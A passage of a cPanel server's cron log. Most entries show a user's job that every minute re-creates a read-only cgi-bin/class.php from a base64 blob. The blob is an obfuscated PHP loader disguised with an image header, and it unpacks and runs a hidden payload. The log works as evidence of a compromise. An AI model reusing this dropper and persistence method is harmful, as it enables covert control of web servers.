mLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:32:01 server CROND[4512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:33:01 server CROND[4571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:34:01 server CROND[4650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:35:01 server CROND[4717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:35:01 server CROND[4721]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:35:01 server CROND[4720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:35:01 server CROND[4719]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 01:35:01 server CROND[4722]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 01:36:01 server CROND[4846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:37:01 server CROND[5005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:38:01 server CROND[5063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:39:01 server CROND[5127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:39:01 server CROND[5128]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 01:40:01 server CROND[5190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:40:01 server CROND[5191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 01:40:01 server CROND[5192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:40:01 server CROND[5193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:41:01 server CROND[5310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:42:01 server CROND[5477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:42:01 server CROND[5478]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 01:43:01 server CROND[5540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:44:01 server CROND[5591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:45:01 server CROND[5649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
